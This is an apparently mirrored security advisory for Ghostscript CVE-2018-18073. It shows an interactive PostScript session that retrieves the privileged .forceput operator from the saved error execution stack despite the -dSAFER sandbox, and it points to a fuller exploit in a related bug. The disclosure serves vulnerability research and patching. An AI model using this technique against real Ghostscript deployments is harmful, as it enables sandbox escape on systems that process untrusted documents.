Ghostscript Exposed System Operators

2018.10.11
Credit: Tavis Ormandy
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-200


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

ghostscript: $error object can expose system operators in saved execution stack. CVE-2018-18073 I've found a way of getting access to .forceput even after the fix in <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a>, you can pull it out of the saved execution stack in $error: $ gs -dSAFER -sDEVICE=ppmraw GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>{ null .setglobal } stopped clear GS>$error /estack get == [--%interp_exit-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- {prompt {(%statementedit) (r) --.systemvmfile--} --stopped-- {--pop-- --pop-- $error /errorname --get-- /undefinedfilename --eq-- {.clearerror --exit--} --if-- /handleerror --.systemvar-- --exec-- null} --if-- --cvx-- {.runexec} .execute --pop--} --%loop_continue-- {--pop--} {$error /newerror --get-- --and-- {/handleerror --.systemvar-- --exec-- --flush-- true} {false} --ifelse--} false 1 --%stopped_push-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- false 1 --%stopped_push-- 1919 1 3 --%oparray_pop-- {-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}] Notice the .forceput in there... GS>$error /estack get 29 get == {-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--} GS>$error /estack get 29 get 6 get == --.forceput-- GS> See <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a> for a full exploit using .forceput, this code can just be plugged in and the full exploit will still work. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: taviso


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top